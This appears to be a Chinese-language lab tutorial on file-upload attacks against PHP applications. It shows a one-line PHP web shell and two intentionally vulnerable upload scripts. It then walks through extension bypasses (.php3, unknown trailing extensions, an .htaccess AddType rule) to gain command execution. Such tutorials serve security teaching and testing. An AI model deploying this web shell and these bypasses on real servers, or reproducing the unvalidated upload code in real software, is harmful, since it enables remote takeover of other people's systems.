在本节中,我们将介绍如何使用文件上载功能来获取代码。
在Web应用程序(尤其是使用文件系统来确定应运行哪些代码的应用程序)中,如果您设法上传具有正确文件名的文件(通常取决于扩展名),则可以在服务器上执行代码。在本节中,我们将看到这些类型的攻击的基础知识。
首先,由于我们正在开发一个PHP应用程序,我们需要一个PHP Web shell。Web shell只是一个简单的脚本或Web应用程序,它运行所提供的代码或命令。例如,在PHP中,以下代码是一个非常简单的Web shell:
<?php system($_GET["cmd"]); ?>
更复杂的Web shell可以执行更高级操作,例如提供数据库和文件系统访问,甚至TCP隧道。
Example 1
<?php require_once('../header.php'); ?> <?php if(isset($_FILES['image'])) { $dir = '/var/www/upload/images/'; $file = basename($_FILES['image']['name']); if(move_uploaded_file($_FILES['image']['tmp_name'], $dir. $file)) { echo "Upload done"; echo "Your file can be found <a href=\"/upload/images/".htmlentities($file)."\">here</a>"; } else { echo 'Upload failed'; } } ?> <form method="POST" action="example1.php" enctype="multipart/form-data"> Mon image : <input type="file" name="image"><br/> <input type="submit" name="send" value="Send file"> </form> <?php require_once('../footer.php'); ?>
第一个例子是一个非常基本的上传表单,没有任何限制。通过使用上面的Web shell,并使用.php扩展名命名,您应该能够将其上传到服务器上。上传后,您可以访问脚本(例如参数cmd=name -a)来执行命令。
Example 2
<?php require_once("../header.php"); ?> <?php if(isset($_FILES['image'])) { $dir = '/var/www/upload/images/'; $file = basename($_FILES['image']['name']); if (preg_match('/\.php$/',$file)) { DIE("NO PHP"); } if(move_uploaded_file($_FILES['image']['tmp_name'], $dir . $file)) { echo 'Upload done !'; echo 'Your file can be found <a href="/upload/images/'.htmlentities($file).'">here</a>'; } else { echo 'Upload failed'; } } ?> <form method="POST" action="example2.php" enctype="multipart/form-data"> Image: <input type="file" name="image"><br/> <input type="submit" name="send" value="Send file"> </form> <?php require_once("../footer.php"); ?>
在第二个示例中,开发人员对文件名进行了限制。文件名不能以.php。结尾。要绕过此限制,您可以使用以下方法之一:
- 将扩展名更改为.php3。在其他系统上,扩展类似.php4或.php5可能也有效。这取决于Web服务器的配置。
- 使用Apache .blah在扩展后不知道的扩展名.php。由于Apache不知道如何处理扩展.blah,它将转移到下一个:.php并运行PHP代码。
- 上传.htaccess文件,启用另一个扩展程序由PHP运行。
具体原理如下:
获取命令执行的最常见方法是使用任意扩展的处理程序:
AddType application/x-httpd-php .blah
这一行将告诉Apache使用PHP引擎解释扩展名为.blah的文件。 由于.blah文件不太可能被应用程序过滤。
这是因为AllowOverride设置为All(其默认值),这意味着服务器遇到`.htaccess`文件时会解释它。
一旦我们上传了带有上述内容的.htaccess文件。 我们现在可以将我们的文件shell.php重命名为shell.blah并上传它。
上传两个文件后,我们就可以执行命令了!
使用这些方法之一,您应该能够获得命令执行。